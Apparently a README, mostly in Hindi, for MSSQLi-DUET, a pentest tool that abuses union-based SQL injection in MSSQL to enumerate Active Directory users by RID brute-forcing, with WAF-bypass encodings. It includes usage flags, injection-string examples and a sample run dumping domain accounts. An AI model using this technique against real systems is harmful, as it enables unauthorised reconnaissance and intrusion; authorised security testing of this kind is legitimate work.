
MSSQL के लिए SQL इंजेक्शन स्क्रिप्ट जो RID ब्रूटफोर्सिंग के आधार पर Active Directory वातावरण से डोमेन उपयोगकर्ताओं को निकालती है।
MSSQL के लिए SQL इंजेक्शन स्क्रिप्ट जो RID ब्रूटफोर्सिंग के आधार पर Active Directory वातावरण से डोमेन उपयोगकर्ताओं को निकालती है। SQLmap टैम्पर फंक्शन के कार्यान्वयन के माध्यम से WAF बाईपास तकनीकों के विभिन्न रूपों का समर्थन करता है। स्थिति और वातावरण के आधार पर उपयोगकर्ता द्वारा अतिरिक्त टैम्पर फंक्शन शामिल किए जा सकते हैं।
दो रूपों में आता है: टर्मिनल उपयोग के लिए सीधा Python स्क्रिप्ट, या सरल GUI नेविगेशन के लिए Burp Suite प्लगइन।
वर्तमान में केवल यूनियन-आधारित इंजेक्शन का समर्थन करता है। उपकरण की कार्यक्षमता और सटीकता का पूरी तरह से परीक्षण करने के लिए अधिक नमूनों और परीक्षण मामलों की आवश्यकता है। यदि आप ऐसी स्थिति का सामना करते हैं जहाँ यह काम नहीं करता है तो फीडबैक और टिप्पणियों का स्वागत है।
स्क्रिप्ट और प्लगइन को अपनी आवश्यकताओं के अनुरूप ढालना भी बहुत कठिन नहीं होना चाहिए। कुछ समस्या निवारण के लिए नोट्स अनुभाग पढ़ना सुनिश्चित करें।
प्लगइन को Burp Suite में लोड करने के बाद, रिक्वेस्ट पर राइट-क्लिक करें और इसे MSSQLi-DUET पर भेजें। पैरामीटर और अन्य चीज़ों के बारे में अधिक विवरण नीचे वर्णित हैं।
रिक्वेस्ट रिक्वेस्ट विंडो में आ जाएगी, और केवल इसके ऊपर के फ़ील्ड भरने होंगे। रन दबाने के बाद आउटपुट आसानी से कॉपी-पेस्ट करने के लिए रिजल्ट आउटपुट बॉक्स में रखा जाएगा।
python3 mssqli-duet.py -h
usage: mssqli-duet.py [-h] -i INJECTION [-e ENCODING] -t TIME_DELAY -rid
RID_RANGE [-ssl SSL] -p PARAMETER [-proxy PROXY]
[-o OUTFILE] -r REQUEST_FILE
MSSQLi-DUET - MSSQL (Injection-based) Domain User Enumeration Tool
optional arguments:
-h, --help show this help message and exit
-i INJECTION, --injection INJECTION
Injection point. Provide only the data needed to
escape the query.
-e ENCODING, --encoding ENCODING
Type of encoding: unicode, doubleencode, unmagicquotes
-t TIME_DELAY, --time_delay TIME_DELAY
Time delay for requests.
-rid RID_RANGE, --rid_range RID_RANGE
Hypenated range of RIDs to bruteforce. Ex: 1000-1200
-ssl SSL, --ssl SSL Add flag for HTTPS
-p PARAMETER, --parameter PARAMETER
Vulnerable parameter
-proxy PROXY, --proxy PROXY
Proxy connection string. Ex: 127.0.0.1:8080
-o OUTFILE, --outfile OUTFILE
Outfile for username enumeration results.
-r REQUEST_FILE, --request_file REQUEST_FILE
Raw request file saved from Burp
Prepare to be enumerated!
एप्लिकेशन में यूनियन-आधारित SQL इंजेक्शन की पहचान करने के बाद, Burp Suite से 'copy to file' सुविधा का उपयोग करके रॉ रिक्वेस्ट कॉपी करें।
सहेजी गई रिक्वेस्ट को -r फ्लैग के साथ DUET को दें। कमजोर पैरामीटर और इंजेक्शन के बिंदु को निर्दिष्ट करें। उदाहरण के तौर पर, यदि पैरामीटर "element" SQL इंजेक्शन के लिए संवेदनशील है, तो -p "element" होगा। DUET सभी SQL इंजेक्शन क्वेरी को स्वचालित रूप से बनाएगा, लेकिन प्रारंभिक इंजेक्शन के लिए विनिर्देश प्रदान करना आवश्यक है। इसका मतलब है, यदि इंजेक्शन पैरामीटर डेटा के बाद एक एकल एपोस्ट्रोफ के कारण होता है, तो -i तर्क के लिए यही निर्दिष्ट किया जाएगा।
Ex: test'
test'))
test")"
python3 mssqli-duet.py -i "carbon'" -t 0 -rid 1000-1200 -p element -r testrequest.req -proxy 127.0.0.1:8080
[+] Collected request data:
Target URL = http://192.168.11.22/search2.php?element=carbon
Method = GET
Content-Type = applcation/x-www-form-urlencoded
[+] Determining the number of columns in the table...
[!] Number of columns is 3
[+] Determining column type...
[!] Column type is null
[+] Discovering domain name...
[+] Domain = NEUTRINO
[+] Discovering domain SID...
S-1-5-21-4142252318-1896537706-4233180933-
[+] Enumerating Active Directory via SIDs...
NEUTRINO\HYDROGENDC01$
NEUTRINO\DnsAdmins
NEUTRINO\DnsUpdateProxy
NEUTRINO\HELIUM$
NEUTRINO\BORON$
NEUTRINO\BERYLLIUM$
NEUTRINO\aeinstein
NEUTRINO\bbobberson
NEUTRINO\csagan
NEUTRINO\ccheese
NEUTRINO\svc_web
NEUTRINO\svc_sql
स्क्रिप्ट को खोजे गए कॉलम की कास्टिंग और प्रकार की सीमाओं के आधार पर संशोधित करने की आवश्यकता हो सकती है। इसमें पेलोड की कॉलम स्थिति को बदलने के लिए संशोधन, साथ ही कॉलम प्रकारों को ध्यान में रखने के लिए क्वेरी स्ट्रिंग्स को स्वयं संशोधित करना शामिल है जो त्रुटियाँ उत्पन्न नहीं करेंगे।
इसके अतिरिक्त, कॉलम की संख्या निर्धारित करने का तर्क वर्तमान में सबसे अच्छा नहीं है, और उचित निर्धारण सुनिश्चित करने के लिए कुछ तुलनाओं को टिप्पणी की आवश्यकता हो सकती है।
कुल मिलाकर, Burp में भेजे जा रहे अनुरोधों पर एक नज़र डालें और अपने SQL इंजेक्शन वातावरण के अनुसार स्क्रिप्ट को आवश्यकतानुसार ढालें।
https://blog.netspi.com/hacking-sql-server-procedures-part-4-enumerating-domain-accounts/